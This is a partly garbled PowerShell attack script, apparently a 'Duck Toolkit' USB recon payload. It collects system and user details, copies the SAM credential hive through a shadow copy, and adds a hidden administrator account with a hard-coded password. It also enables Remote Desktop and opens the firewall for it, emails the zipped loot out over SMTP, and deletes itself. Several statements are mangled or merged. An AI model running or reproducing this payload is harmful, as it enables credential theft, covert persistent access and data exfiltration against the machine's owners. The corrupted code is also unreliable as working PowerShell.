User: test Pass: security159ht:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} @ $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo.html' $Report Report

Generated on: $Date


@ $SysBootTime = Get-WmiObject Win32_OperatingSystem $BootTime = $SysBootTime.ConvertToDateTime($SysBootTime.LastBootUpTime)| ConvertTo-Html datetime $SysSerialNo = (Get-WmiObject -Class Win32_OperatingSystem -ComputerName $env:COMPUTERNAME) $SerialNo = $SysSerialNo.SerialNumber $SysInfo = Get-WmiObject -class Win32_ComputerSystem -namespace root/CIMV2 | Select Manufacturer,Model $SysManufacturer = $SysInfo.Manufacturer $SysModel = $SysInfo.Model$OS = (Get-WmiObject Win32_OperatingSystem -computername $env:COMPUTERNAME ).caption $disk = Get-WmiObject Win32_LogicalDisk -Filter @DeviceID='C:'@ $HD = [math]::truncate($disk.Size / 1GB) $FreeSpace = [math]::truncate($disk.FreeSpace / 1GB) $SysRam = Get-WmiObject -Class Win32_OperatingSystem -computername $env:COMPUTERNAME | Select TotalVisibleMemorySize $Ram = [Math]::Round($SysRam.TotalVisibleMemorySize/1024KB) $SysCpu = Get-WmiObject Win32_Processor | Select Name $Cpu = $SysCpu.Name$HardSerial = Get-WMIObject Win32_BIOS -Computer $env:COMPUTERNAME | select SerialNumber$HardSerialNo = $HardSerial.SerialNumber$SysCdDrive = Get-WmiObject Win32_CDROMDrive |select Name$graphicsCard = gwmi win32_VideoController |select Name$graphics = $graphicsCard.Name$SysCdDrive = Get-WmiObject Win32_CDROMDrive |select -first 1024KB$DriveLetter = $CDDrive.DriveLetter$DriveName = $CDDrive.Caption $Disk = $DriveLetter + '' + $DriveName$Firewall = New-Object -com HNetCfg.FwMgr $FireProfile = $Firewall.LocalPolicy.CurrentProfile $FireProfile = $FireProfile.FirewallEnabled $Report = $Report + @

Computer Information


Operating System$OS
OS Serial Number:$SerialNo
Current User:$env:USERNAME
System Uptime:$BootTime
System Manufacturer:$SysManufacturer
System Model:$SysModel
Serial Number:$HardSerialNo
Firewall is Active:$FireProfile
@ $UserInfo = Get-WmiObject -class Win32_UserAccount -namespace root/CIMV2 | Where-Object {$_.Name -eq $env:UserName}| Select AccountType,SID,PasswordRequired $UserType = $UserInfo.AccountType$UserSid = $UserInfo.SID $UserPass = $UserInfo.PasswordRequired$IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator') $Report = $Report +@

User Information


Current User Name:$env:USERNAME
Account Type: $UserType
User SID:$UserSid
Account Domain:$env:USERDOMAIN
Password Required:$UserPass
Current User is Admin:$IsAdmin
@ $Report = $Report + '
' $createShadow = (gwmi -List Win32_ShadowCopy).Create('C:\', 'ClientAccessible') $shadow = gwmi Win32_ShadowCopy | ? { $_.ID -eq $createShadow.ShadowID } $addSlash = $shadow.DeviceObject + '' cmd /c mklink C:\shadowcopy $addSlashCopy-Item 'C:\shadowcopy\Windows\System32\config\SAM' $fileSaveDirRemove-Item -recurse -force 'C:\shadowcopy' Net User test security159 /ADD Net LocalGroup Administrators test /ADD reg add 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList' /v test /t REG_DWORD /d 0 /fileSaveDirSet-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0 Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 1024KBnetsh advfirewall firewall set rule group='remote desktop - remotefx' new enable=Yes netsh advfirewall firewall set rule group='remote desktop' new enable=Yes$Report >> $fileSaveDir'/ComputerInfo.html' function copy-ToZip($fileSaveDir){ $srcdir = $fileSaveDir$zipFile = 'C:\Windows\Report.zip' if(-not (test-path($zipFile))) { set-content $zipFile (@PK@ + [char]5 + [char]6 + (@$([char]0)@ * 18)) (dir $zipFile).IsReadOnly = $false}}$shellApplication = new-object -com shell.application}}$zipPackage = $shellApplication.NameSpace($zipFile) $files = Get-ChildItem -Path $srcdirforeach($file in $files) { $zipPackage.CopyHere($file.FullName) while($zipPackage.Items().Item($file.name) -eq $null){ Start-sleep -seconds 1 }}} copy-ToZip($fileSaveDir) $SMTPServer = 'smtp.gmail.com' $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587) $SMTPInfo.EnableSsl = $true $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('null', 'null'); $ReportEmail = New-Object System.Net.Mail.MailMessage $ReportEmail.From = 'null' $ReportEmail.To.Add('null') $ReportEmail.Subject = 'Duck Toolkit Recon Report' $ReportEmail.Body = 'Please find attached your reconnaissance report.' $ReportEmail.Attachments.Add('C:\Windows\Report.zip') $SMTPInfo.Send($ReportEmail) remove-item $fileSaveDir -recurseremove-item 'C:\Windows\Report.zip' Remove-Item $MyINvocation.InvocationName}}}}}}}}